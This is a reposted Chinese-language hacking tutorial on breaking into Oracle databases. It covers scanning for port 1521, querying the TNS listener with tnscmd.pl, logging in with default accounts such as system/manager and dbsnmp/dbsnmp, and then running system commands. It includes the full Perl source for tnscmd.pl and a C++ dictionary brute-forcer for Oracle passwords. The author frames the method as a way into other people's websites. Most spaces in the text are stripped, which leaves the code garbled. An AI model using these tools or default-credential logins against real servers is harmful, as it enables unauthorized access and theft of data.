入侵oracle数据库的一些技巧

2023-12-07 0 725

软件作者:pt007[at]vip.sina.com版权所有,转载请注明版权 信息来源:邪恶八进制信息安全团队(www.eviloctal.com) 一、先看下面的一个贴子: Oracle数据库是现在很流行的数据库系统,很多大型网站都采用Oracle,它之所以倍受用户喜爱是因为它有以下突出的特点: 1、支持大数据库、多用户的高性能的事务处理。Oracle支持最大数据库,其大小可到几百千兆,可充分利用硬件设备。支持大量用户同时在同一数据上执行各种数据应用,并使数据争用最小,保证数据一致性。系统维护具有高的性能,Oracle每天可连续24小时工作,正常的系统操作(后备或个别计算机系统故障)不会中断数据库的使用。可控制数据库数据的可用性,可在数据库级或在子数据库级上控制。 2、Oracle遵守数据存取语言、操作系统、用户接口和网络通信协议的工业标准。所以它是一个开放系统,保护了用户的投资。美国标准化和技术研究所(NIST)对Oracle7SERVER进行检验,100%地与ANSI/ISOSQL89标准的二级相兼容。 3、实施安全性控制和完整性控制。Oracle为限制各监控数据存取提供系统可靠的安全性。Oracle实施数据完整性,为可接受的数据指定标准。 4、支持分布式数据库和分布处理。Oracle为了充分利用计算机系统和网络,允许将处理分为数据库服务器和客户应用程序,所有共享的数据管理由数据库管理系统的计算机处理,而运行数据库应用的工作站集中于解释和显示数据。通过网络连接的计算机环境,Oracle将存放在多台计算机上的数据组合成一个逻辑数据库,可被全部网络用户存取。分布式系统像集中式数据库一样具有透明性和数据一致性。 具有可移植性、可兼容性和可连接性。由于Oracle软件可在许多不同的操作系统上运行,以致Oracle上所开发的应用可移植到任何操作系统,只需很少修改或不需修改。Oracle软件同工业标准相兼容,包括很多工业标准的操作系统,所开发应用系统可在任何操作系统上运行。可连接性是指ORALCE允许不同类型的计算机和操作系统通过网络可共享信息。 虽然Oracle数据库具有很高的安全性,但是如果我们在配置的时候不注意安全意识,那么也是很危险的。也就是说,安全最主要的还是要靠人自己,而不能过分依赖软件来实现。 我们知道,在mssql中,安装完成后默认有个sa的登陆密码为空,如果不更改就会产生安全漏洞。那么oracle呢?也有的。为了安装和调试的方便,Oracle数据库中的两个具有DBA权限的用户Sys和System的缺省密码是manager。笔者发现很多国内网站的Oracle数据库没有更改这两个用户的密码,其中也包括很多大型的电子商务网站,我们就可以利用这个缺省密码去找我们感兴趣的东西。如何实现,看下面的文章吧。 进行测试前我们先来了解一些相关的知识,我们连接一个Oracle数据库的时候,需要知道它的service_name或者是Sid值,就象mssql一样,需要知道数据库名。那如何去知道呢,猜?呵呵,显然是不行的。这里我们先讲讲oracle的TNSlistener,它位于数据库Client和数据库Server之间,默认监听1521端口,这个监听端口是可以更改的。但是如果你用一个tcp的session去连接1521端口的话,oracle将不会返回它的banner,如果你输入一些东西的话,它甚至有可能把你踢出去。这里我们就需要用tnscmd.pl这个perl程序了,它可以查询远程oracle数据库是否开启(也就是ping了),查询版本,以及查询它的服务名,服务状态和数据库服务名,而且正确率很高。 理论方面的讲完了,如果还有什么不懂的可以去查找相关资料。现在开始测试吧,需要的工具有:ActivePerl,Oracle客户端,Superscan或者是其它扫描端口的软件,Tnscmd.pl。 我们先用Superscan扫描开放了端口1521的主机,假设其IP是xx.xx.110.110,这样目标已经有了。然后我们要做的就是用Tnscmd.pl来查询远程数据库的服务名了,Tnscmd.pl的用法如下:  C:perlbin>perltnscmd.pl usage:tnscmd.pl[command]-hhostname where\’command\’issomethinglikeping,version,status,etc. (defaultisping) [-pport]-alternateTCPporttouse(defaultis1521) [–logfilelogfile]-writerawpacketstospecifiedlogfile [–indent]-indent&outdentonparens [–rawcmdcommand]-buildyourownCONNECT_DATAstring [–cmdsizebytes]-fakeTNScommandsize(revealspacketleakage) 我们下面用的只有简单的几个命令,其他的命令也很好用,一起去发掘吧。 然后我们就这样来:  C:perlbin>perltnscmd.plservices-hxx.xx.110.110-p1521–indent sending(CONNECT_DATA=(COMMAND=services))toxx.xx.110.110:1521 writing91bytes reading ._…….6………?……….. DESCRIPTION= TMP= VSNNUM=135286784 ERR=0 SERVICES_EXIST=1 .Q…….. SERVICE= SERVICE_NAME=ORCL INSTANCE= INSTANCE_NAME=ORCL NUM=1 INSTANCE_CLASS=ORACLE HANDLER= HANDLER_DISPLAY=DEDICATEDSERVER STA=ready HANDLER_INFO=LOCALSERVER HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=447278 REFUSED=0 HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227 HANDLER_NAME=DEDICATED ADDRESS= PROTOCOL=beq PROGRAM=/home/oracle/bin/oracle ENVS=\’ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL\’ ARGV0=oracleORCL ARGS=\’ LOCAL=NO \’ ………@ 从上面得到的信息我们可以看出数据库的服务名为ORCL,然后我们就可以通过sqlplus工具来远程连上它了,用户名和密码我们用默认的system/manager或者是sys/manager,其他的如mdsys/mdsys,ctxsys/ctxsys等,这个默认用户和密码是随版本的不同而改变的。如下:  C:oracleora90BIN>sqlplus/nolog SQL*Plus:Release9.0.1.0.1-ProductiononThuMay2311:36:592002 (c)Copyright2001OracleCorporation. Allrightsreserved. SQL>connectsystem/manager@ (description=(address_list=(address=(protocol=tcp) (host=xx.xx.110.110)(port=1521))) (connect_data=(SERVICE_NAME=ORCL))); 如果密码正确,那么就会提示connected,如果不行,再换别的默认用户名和密码。经过笔者的尝试一般用dbsnmp/dbsnmp都能进去。当然如果对方已经把默认密码改了,那我们只能换别的目标了。但是我发现很多都是不改的,这个就是安全意识的问题了。 二、上面提到的两个小软件: tnscmd.pl Copycode #!/usr/bin/perl # #tnscmd-alametooltoprodtheoracletnslsnrprocess(1521/tcp) #testedunderLinuxx86&OpenBSDSparc+perl5 # #Initialcruft:[email]jwa@jammed.com[/email]5Oct2000 # #$Id:tnscmd,v1.32001/04/2606:45:48jwaExp$ # #seealso: #[url]http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html[/url] #[url]http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818[/url] #[url]http://otn.oracle.com/deploy/security/alerts.htm[/url] #[url]http://xforce.iss.net/alerts/advise66.php[/url] # #GPL\’d,ofcourse.[url]http://www.gnu.org/copyleft/gpl.html[/url] # #$Log:tnscmd,v$ #Revision1.32001/04/2606:45:48jwa #typoinurl.whoops. # #Revision1.22001/04/2606:42:17jwa #completerewrite #-useIO::Socketinsteadoftcp_open #-gotridofpdump() #-putpacketinto@listandbuilditwithpack() #-added–indentoption # # useIO::Socket; usestrict;#agrumpyperlinterpreterisyourfriend select(STDOUT);$|=1; # #processarguments # my($cmd)=$ARGV[0]if($ARGV[0]!~/^-/); my($arg); while($arg=shift@ARGV){ $main::hostname=shift@ARGVif($argeq\”-h\”); $main::port=shift@ARGVif($argeq\”-p\”); $main::logfile=shift@ARGVif($argeq\”–logfile\”); $main::fakepacketsize=shift@ARGVif($argeq\”–packetsize\”); $main::fakecmdsize=shift@ARGVif($argeq\”–cmdsize\”); $main::indent=1if($argeq\”–indent\”); $main::rawcmd=shift@ARGVif($argeq\”–rawcmd\”); $main::rawout=shift@ARGVif($argeq\”–rawout\”); } if($main::hostnameeq\”\”){ print<<_EOF_; usage:$0[command]-hhostname where\’command\’issomethinglikeping,version,status,etc. (defaultisping) [-pport]-alternateTCPporttouse(defaultis1521) [–logfilelogfile]-writerawpacketstospecifiedlogfile [–indent]-indent&outdentonparens [–rawcmdcommand]-buildyourownCONNECT_DATAstring [–cmdsizebytes]-fakeTNScommandsize(revealspacketleakage) _EOF_ exit(0); } #withnocommands,defaulttopingingport1521 $cmd=\”ping\”if($cmdeq\”\”); $main::port=1521if($main::porteq\”\”);#1541,1521..DBAsaresowhimsical # #main # my($command); if(defined($main::rawcmd)) { $command=$main::rawcmd; } else { $command=\”(CONNECT_DATA=(COMMAND=$cmd))\”; } my$response=tnscmd($command); viewtns($response); exit(0); # #buildthepacket,openthesocket,sendthepacket,returntheresponse # subtnscmd { my($command)=shift@_; my($packetlen,$cmdlen); my($clenH,$clenL,$plenH,$plenL); my($i); print\”sending$commandto$main::hostname:$main::port\\n\”; if($main::fakecmdsizene\”\”) { $cmdlen=$main::fakecmdsize; print\”Fakingcommandlengthto$cmdlenbytes\\n\”; } else { $cmdlen=length($command); } $clenH=$cmdlen>>8; $clenL=$cmdlen&0xff; #calculatepacketlength if(defined($main::fakepacketsize)) { print\”Fakingpacketlengthto$main::fakepacketsizebytes\\n\”; $packetlen=$main::fakepacketsize; } else { $packetlen=length($command)+58;#\”preamble\”is58bytes } $plenH=$packetlen>>8; $plenL=$packetlen&0xff; $packetlen=length($command)+58if(defined($main::fakepacketsize)); #decimaloffset #0:packetlen_highpacketlen_low #26:cmdlen_highcmdlen_low #58:command #thepacket. my(@packet)=( $plenH,$plenL,0x00,0x00,0x01,0x00,0x00,0x00, 0x01,0x36,0x01,0x2c,0x00,0x00,0x08,0x00, 0x7f,0xff,0x7f,0x08,0x00,0x00,0x00,0x01, $clenH,$clenL,0x00,0x3a,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x34,0xe6,0x00,0x00, 0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00 ); for($i=0;$i<length($command);$i++) { push(@packet,ord(substr($command,$i,1))); } my($sendbuf)=pack(\”C*\”,@packet); print\”connect\”; my($tns_sock)=IO::Socket::INET->new( PeerAddr=>$main::hostname, PeerPort=>$main::port, Proto=>\’tcp\’, Type=>SOCK_STREAM, Timeout=>30)||die\”connectto$main::hostnamefailure:$!\”; $tns_sock->autoflush(1); print\”\\rwriting\”.length($sendbuf).\”bytes\\n\”; if(defined($main::logfile)) { open(SEND,\”>$main::logfile.send\”)||die\”can\’twrite$main::logfile.send:$!\”; printSEND$sendbuf||die\”writetologfilefailed:$!\”; close(SEND); } my($count)=syswrite($tns_sock,$sendbuf,length($sendbuf)); if($count!=length($sendbuf)) { print\”onlywrote$countbytes?!\”; exit1; } print\”reading\\n\”; #getfundata #1st12byteshavesomemeaningwhichsofareludesme if(defined($main::logfile)) { open(REC,\”>$main::logfile.rec\”)||die\”can\’twrite$main::logfile.rec:$!\”; } my($buf,$recvbuf); #readuntilsocketEOF while(sysread($tns_sock,$buf,128)) { printREC$bufif(defined($main::logfile)); $recvbuf.=$buf; } close(REC)if(defined($main::logfile)); close($tns_sock); return$recvbuf; } subviewtns { my($response)=shift@_; #shouldhaveahexdumpoption… if($main::raw) { print$response; } else { $response=~tr/\\200-\\377/\\000-\\177/;#striphighbits $response=~tr/\\000-\\027/\\./; $response=~tr/\\177/\\./; if($main::indent) { parenify($response); } else { print$response; } print\”\\n\”; } } subparenify { my($buf)=shift@_; my($i,$c); my($indent,$o_indent); for($i=0;$i<length($buf);$i++) { $c=substr($buf,$i,1); $indent++if($ceq\”(\”); $indent–if($ceq\”)\”); if($indent!=$o_indent) { print\”\\n\”unless(substr($buf,$i+1,1)eq\”(\”); print\”\”x$indent; $o_indent=$indent; undef$c; } print$c; } } Copycode /*用链表实现的oracle密码暴破程序,需要在本地安装oralce*/ #defineWIN32_LEAN_AND_MEAN #ifdefined(_WIN32)||defined(_WIN64) #include<windows.h> #include<Tchar.h> #endif #include<winsock2.h> #include<stdio.h> #include<stdlib.h> #include<lmcons.h> #include<winnetwk.h> #include<time.h> #include<stdlib.h> #include<stdlib.h> #include<iostream> #include<occi.h> #pragmacomment(lib,\”oraocci9.lib\”)//链接到oraocci9.lib库 //#pragmacomment(lib,\”msvcrt.lib\”) #pragmacomment(lib,\”msvcprt.lib\”) //链接到WS2_32.LIB库: #pragmacomment(lib,\”Ws2_32.lib\”) //#pragmacomment(lib,\”liboracle.lib\”) chartarget[40]={0};//目标服务器 charport[40]={0};//SQL端口号 chardb[40]={0};//数据库名 //定义链表: typedefstructPassNode{ TCHARpassword[100]; structPassNode*Next; }PassInfo; typedefstructNameNode{ TCHARName[100]; structNameNode*Next; }NameInfo;//定义NameInfo来表示NameNode结构 // //函数SQLCheck //功能:尝试用不同密码连接SQLServer,探测出正确的密码 // DWORDWINAPISQLCheck(PVOIDpPwd,PVOIDuUserName) { //定义局部变量 charszBuffer[1025]={0}; char*pwd=NULL,*UserName=NULL; charDataBase[255]={0}; //char*user=NULL; //取得传递过来准备探测的密码 pwd=(char*)pPwd; UserName=(char*)uUserName; //DataBase=(char*)db; sprintf(DataBase,\”(description=(address_list=(address=(protocol=tcp)(host=%s)(port=%s)))(connect_data=(SERVICE_NAME=%s)))\”,target,port,db); //printf(\”DataBase=%s\\n\”,DataBase); usingnamespacestd; usingnamespaceoracle::occi; Environment*env=Environment::createEnvironment(Environment::DEFAULT); try{ Connection*conn=env->createConnection(UserName,pwd,(char*)DataBase); if(conn) {printf(\”\\n\”); cout<<\”SUCCESS-createConnection\”<<endl; //连接远程oracleServer数据库成功 return1; } else cout<<\”FAILURE-createConnection\”<<endl; return0; /*Statement*stmt=conn->createStatement(\”select*fromemp\”); ResultSet*rset=stmt->executeQuery(); while(rset->next()){ cout<<\”theempnois:\”<<rset->getInt(1)<<endl; cout<<\”theenameis:\”<<rset->getString(2)<<endl; }*/ //stmt->closeResultSet(rset); //conn->terminateStatement(stmt); env->terminateConnection(conn); }catch(SQLExceptionex) { //printf(\”\\n\”); cout<<ex.getMessage(); return0; } Environment::terminateEnvironment(env); return0; } voidusage(){ printf(\”name:oraclepasswordcrackv1.0\\n\”); printf(\”author:pt007@vip.sina.com\\n\\n\”); fprintf(stdout,\”usage:oracle_pwd_crack[ip][options]\\n\”); printf(\”options:\\n\” \”\\t-xportspecifytheportoforacle\\n\” \”\\t-uusernamespecifytheusernameoforacle\\n\” //\”\\t-ppasswordspecifythepasswordoforacle\\n\” \”\\t-ddictspecifythedictionary\\n\” \”\\t-idatabasespecifythedatabase\’sname\\n\” //\”\\t-aautomodeautomaticcracktheoraclepassword\\n\” //\”\\tNote:whenuusethe-aoption,namedtheusernamedictuser.dic\\n\” //\”\\tpassworddictpass.dic\\n\” ); printf(\”\\nexample:oracle_pwd_crack127.0.0.1-x1521-usql_user.dic-dpass.dic-iPLSExtProc\\n\”); exit(1); } //创建密码链表: PassInfo*Create_Pass_link(intNodeNum,FILE*DictFile){ /*readdatafrompassworddictionary,initthelink*/ TCHAR*szTempPass=NULL; PassInfo*h,*p,*s;/**hpointtoheadnode,*ppointtotheprenode, *spointtothecurrentnode*/ inti;/*counter*/ //分配内存空间在内存的动态存储区中分配一块长度为\”sizeof(PassInfo)\”字节的连续区域,函数的返回值为该区域的首地址: if((h=(PassInfo*)malloc(sizeof(PassInfo)))==NULL) { fprintf(stderr,\”mallocfailed%d\”,GetLastError()); exit(0); }/*createtheheadnode*/ /*inittheheadnode*/ h->Next=NULL; p=h; for(i=0;i<NodeNum;i++)//下面是建立链表,每个密码对应一个结点: {//按sizeof(TCHAR)的长度分配100块连续的区域,并把指向TCHAR类型指针的首地址赋予指针变量szTempPass szTempPass=(TCHAR*)calloc(100,sizeof(TCHAR)); ZeroMemory(szTempPass,100); if((s=(PassInfo*)malloc(sizeof(PassInfo)))==NULL) { fprintf(stderr,\”mallocfailed%d\”,GetLastError()); exit(0); } memset(s->password,\’\\0\’,100); fgets(szTempPass,100,DictFile); strncpy(s->password,szTempPass,strlen(szTempPass)-1); s->Next=NULL;//删除一个结点 p->Next=s;//链表指针指向下一个结构地址 p=s;//下一个结构的数据域赋值 free(szTempPass);//释放内存空间 } returnh;//返回链表的头结点,它存放有第一个结点的首地址,没有数据 } //创建用户名链表: NameInfo*Create_Name_link(intNodeNum,FILE*DictFile){ /*readdatafrompassworddictionary,initthelink*/ TCHAR*szTempName=NULL; NameInfo*h,*p,*s;/**hpointtoheadnode,*ppointtotheprenode, *spointtothecurrentnode*/ inti;/*counter*/ //分配内存空间在内存的动态存储区中分配一块长度为\”sizeof(NameInfo)\”字节的连续区域,函数的返回值为该区域(此处为NameInfo结构的首地址)的首地址:: if((h=(NameInfo*)malloc(sizeof(NameInfo)))==NULL) { fprintf(stdout,\”mallocfailed%d\”,GetLastError()); exit(0); }/*createtheheadnode*/ /*inittheheadnode*/ h->Next=NULL;//删除下一个结点 p=h;//p里面目前指向头结点 for(i=0;i<NodeNum;i++) {//按sizeof(TCHAR)的长度分配100块连续的区域,并把指向TCHAR类型指针的首地址赋予指针变量szTempPass: szTempName=(TCHAR*)calloc(100,sizeof(TCHAR)); ZeroMemory(szTempName,100);//字符串类型变量清0 if((s=(NameInfo*)malloc(sizeof(NameInfo)))==NULL) { fprintf(stdout,\”mallocfailed%d\”,GetLastError()); exit(0); } memset(s->Name,\’\\0\’,100); fgets(szTempName,100,DictFile); strncpy(s->Name,szTempName,strlen(szTempName)-1); s->Next=NULL; p->Next=s;//p指向下一个结点的地址 p=s;//下一个结构的数据域赋值 free(szTempName); } returnh; } intLineCount(FILE*fd)//返回字典中的密码数量 { intcountline=0; chardata[100]={0};//字符数组清0 while(fgets(data,100,fd))//从指定的文件中读一个字符串到字符数组中 countline++; rewind(fd);//指针返回到文件起始处 returncountline; } BOOLIsPortOpen(char*address,intport) { intrecv=1; WSADATAwsadata; intfd; structsockaddr_inclientaddress; structhostent*host1; BOOLResult=FALSE; structtimevaltimer4; fd_setwritefd;//检查数据是否可写 ULONGvalue=1; //初使化winsock版本1.1: recv=WSAStartup(MAKEWORD(1,1),&wsadata); if(recv!=0) { printf(\”initfailed%d.\\n\”,WSAGetLastError()); return(0); } if(LOBYTE(wsadata.wVersion)!=1|| HIBYTE(wsadata.wVersion)!=1){ /*Telltheuserthatwecouldn\’tfindauseable*/ /*winsock.dll.*/ WSACleanup(); return(0); } //创建socket套接字连接: fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(fd<0) { printf(\”[-]Createsocketerror%d.\\n\”,WSAGetLastError()); return(0); } //将套接字fd设为非阻塞模式的方法: ioctlsocket(fd,FIONBIO,&value); if(!(host1=gethostbyname(address))){ printf(\”[-]Gethostbyname(%s)error%d.\\n\”,address,WSAGetLastError()); return(0); } memset(&clientaddress,0,sizeof(structsockaddr)); clientaddress.sin_family=AF_INET;//Ipv4地址族 clientaddress.sin_port=htons((unsignedshort)port); clientaddress.sin_addr=*((structin_addr*)host1->h_addr); timer4.tv_sec=5;//以秒为单位指定等待时间 timer4.tv_usec=0; FD_ZERO(&writefd); FD_SET(fd,&writefd);//将套接字fd增添到writefd写集合中进行测试 recv=connect(fd,(structsockaddr*)&clientaddress,sizeof(structsockaddr)); if(FD_ISSET(fd,&writefd)) { recv=select(fd+1,NULL,&writefd,NULL,&timer4);//测试5秒钟内是否有数据写入 if(recv>0) Result=TRUE; } closesocket(fd); WSACleanup(); returnResult; } intmain(intargc,char**argv) { PassInfo*head,*curr=NULL; NameInfo*headnode,*currnode=NULL; intnamecount=0,passcount=0; ///////////////////////////////////////////////////////////////////////////////////////////// //dealwiththecommandline // ///////////////////////////////////////////////////////////////////////////////////////////// //参数不为8个的时候打印帮助 if(argc!=10) usage(); if(argc==10) { if(strcmpi(argv[2],\”-x\”)) usage(); if(strcmpi(argv[4],\”-u\”)) usage(); if(strcmpi(argv[6],\”-d\”)) usage(); if(strcmpi(argv[8],\”-i\”)) usage(); } /*determinatewhethertheoracleportisopen*/ if(!IsPortOpen(argv[1],atoi(argv[3]))) { printf(\”error:Can\’tconnectto%s:%d\\n\”,argv[1],atoi(argv[3])); exit(0); } //////////////////////////////////////////////////////////////////////////////////////////// //specifiytheusername ////////////////////////////////////////////////////////////////////////////////////////////// //取得目标地址和端口号: strcpy(target,argv[1]); strcpy(port,argv[3]); strcpy(db,argv[9]); if(!strcmpi(argv[4],\”-u\”)) { /*openthepassworddictionary*/ FILE*passdic=NULL; if((passdic=fopen(argv[7],\”r\”))==NULL){ fprintf(stdout,\”Can\’topenthepassworddictionary\\n\”); exit(0); } /*countlineofnamedictionary*/ passcount=LineCount(passdic);//计算密码的数量 head=Create_Pass_link(passcount,passdic);/*createthepasswordlink*/ curr=head->Next;//指向第一个结点 /*openthepassworddictionary*/ FILE*Namedict=NULL; if((Namedict=fopen(argv[5],\”r\”))==NULL){ fprintf(stderr,\”Can\’topenthenamedictionary\\n\”); exit(0); } /*密码最终保存文件*/ FILE*passtxt=NULL; if((passtxt=fopen(\”pass.txt\”,\”at+\”))==NULL){ fprintf(stdout,\”Can\’twritepass.txtfile!\\n\”); exit(0); } /*countlineofnamedictionary*/ namecount=LineCount(Namedict);//计算用户名数量 headnode=Create_Name_link(namecount,Namedict);/*createuserlink*/ currnode=headnode->Next; intj=0,i=1; while(currnode!=NULL)//为NULL表示姓名链表结束 { printf(\”\\n开始第%d位用户%s测试:\\n\”,++j,currnode->Name); while(curr!=NULL)//为NULL表示密码链表结束 { printf(\”Nowcracking%s->%s\\n\”,currnode->Name,curr->password); fflush(NULL); intCracked=0; Cracked=SQLCheck(curr->password,currnode->Name); if(Cracked==1) { printf(\”%d.Successfully:oracleserver%s\’susername[%s]password[%s]\\n\”,j,target,currnode->Name,curr->password); fseek(passtxt,0L,SEEK_END);//移动到文件尾部 fprintf(passtxt,\”%d.Successfully:oracleserver%s\’susername[%s]password[%s]\\r\\n\”,i++,target,currnode->Name,curr->password); //exit(0);发现一个密码就退出 break; } curr=curr->Next;//移动到下一个结点 Sleep(100);//暂停100ms,即0.1s }/*startingcracktheoraclepassword*/ currnode=currnode->Next; curr=head->Next;//移到密码链表的第一个结点 } printf(\”\\n\\n密码猜解结束:\\n本次共猜解了%d位用户,%d个密码!\\n\”,namecount,passcount); printf(\”请使用\\\”typepass.txt\\\”来查看当前目录下的pass.txt文件!\\n\”); fprintf(passtxt,\”\\r\\n\\r\\n\”); fclose(passdic); fclose(Namedict); fclose(passtxt); free(head); } return0; } 三、利用弱口令进行入侵: C:\\>sqlplus/nolog SQL>connectsystem/manager@(description=(address_list=(address=(protocol=tcp)(host=www.xx.com)(port=1521)))(connect_data=(SERVICE_NAME=ora9i))); 然后利用OracleExecuteCommandSqlScript来执行系统命令

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悠久资源 编程安全 入侵oracle数据库的一些技巧 https://www.u-9.cn/biancheng/bcanquan/125330.html

常见问题

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务